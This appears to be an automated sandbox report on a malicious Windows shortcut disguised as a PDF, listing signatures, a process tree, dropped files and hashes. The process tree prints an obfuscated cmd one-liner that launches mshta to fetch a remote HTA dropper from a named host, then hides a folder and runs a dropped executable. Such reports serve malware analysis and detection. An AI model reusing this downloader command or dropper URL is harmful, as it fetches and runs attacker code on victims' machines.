Analysis

  • max time kernel
    19s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:44

General

  • Target
    PDFDOC-HMK70P.lnk
  • Size 1KB
  • Sample260803-q1sgjsae36
  • SHA256 27e6b8d278d9383dbd287a15e37d0aa6f3b2d1c9feaed1ece5ed79c81d844819
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 20 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\PDFDOC-HMK70P.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4776
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /c "set JEt=msh&&set RIv=ta&&start "" !JEt!!RIv! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3140
      • C:\Windows\System32\mshta.exe
        mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
        • Badlisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3328
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1440
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:5948
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
            • Modifies registry class
            PID:4140
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:1948
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:4256
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:5352
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:4196
            • C:\Windows\System32\attrib.exe
              "C:\Windows\System32\attrib.exe" +h +s "C:\qntuevxg\"
              4⤵
              • Views/modifies file attributes
              PID:4744
            • C:\qntuevxg\qntuevxg.exe
              "C:\qntuevxg\qntuevxg.exe" C:\qntuevxg\qntuevxg
              4⤵
                PID:2364
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                  PID:1744
                  • C:\Windows\system32\rundll32.exe
                    C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                    5⤵
                      PID:4240
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                    4⤵
                    • Executes a command shell one-liner
                    • System Network Configuration Discovery: Internet Connection Discovery
                    PID:1280
                    • C:\Windows\System32\PING.EXE
                      ping -n 300 -w 1000 127.0.0.1
                      5⤵
                      • System Network Configuration Discovery: Internet Connection Discovery
                      • Runs ping.exe
                      PID:6012

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  050181E8A7D6C35C06DF1414C779370A

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\050181E8A7D6C35C06DF1414C779370A
                  • Size 542B
                  • SHA256 0b16ece4859331ac4f1da2612feb71c27a833b5193108286ea909c69197f0b0f
                  • MD5 SHA1 SHA512 TLSH

                  8B2B9A00839EED1DFDCCC3BFC2F5DF12

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                  • Size 1KB
                  • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                  • MD5 SHA1 SHA512 TLSH

                  B46811C17859FFB409CF0E904A4AA8F8

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                  • Size 528B
                  • SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
                  • MD5 SHA1 SHA512 TLSH

                  050181E8A7D6C35C06DF1414C779370A

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\050181E8A7D6C35C06DF1414C779370A
                  • Size 192B
                  • SHA256 98bf3266131a8416218a183cc76f814a4db7527f0787084f7a3a566a30870001
                  • MD5 SHA1 SHA512 TLSH

                  8B2B9A00839EED1DFDCCC3BFC2F5DF12

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                  • Size 174B
                  • SHA256 fe8bc44e588c209fe0a6caf98ea9a4170ce27a7effd62582f9bcee9bfa9aee72
                  • MD5 SHA1 SHA512 TLSH

                  B46811C17859FFB409CF0E904A4AA8F8

                  • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                  • Size 170B
                  • SHA256 a457c1bb2c88b1d85d5f9a0618c5d2091178750a2d533426ccdb768ae6b96f62
                  • MD5 SHA1 SHA512 TLSH

                  a1.zip

                  • Path C:\qntuevxg\a1.zip
                  • Size 494KB
                  • SHA256 6909ce2099e17cc1f37629067c42c2e1635fc472a4e832d351cc8631d5f40bfb
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a2.zip

                  • Path C:\qntuevxg\a2.zip
                  • Size 1.3MB
                  • SHA256 432c43f4bd681b7c5ef067f848c87684caeddd8d818821abec80b74273d38f45
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  a3.zip

                  • Path C:\qntuevxg\a3.zip
                  • Size 2KB
                  • SHA256 3f9b523249c884b462269b48e96db766cf99b7754be79aa1cc6052a0b55eb38c
                  • MD5 SHA1 SHA512 TLSH

                  qntuevxg

                  • Path C:\qntuevxg\qntuevxg
                  • Size 1.3MB
                  • SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  qntuevxg.exe

                  • Path C:\qntuevxg\qntuevxg.exe
                  • Size 957KB
                  • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/2364-122-0x0000000007540000-0x0000000007708000-memory.dmp

                  memory/3328-131-0x0000019F823E0000-0x0000019F8260D000-memory.dmp

                  memory/3328-112-0x0000019F823E0000-0x0000019F8260D000-memory.dmp

                  memory/3328-111-0x0000019F87070000-0x0000019F87214000-memory.dmp

                  memory/3328-110-0x0000019F823E0000-0x0000019F8260D000-memory.dmp

                  memory/3328-44-0x0000019F87070000-0x0000019F87214000-memory.dmp

                  memory/3328-43-0x0000019F823E0000-0x0000019F8260D000-memory.dmp

                  memory/3328-153-0x0000019F823E0000-0x0000019F8260D000-memory.dmp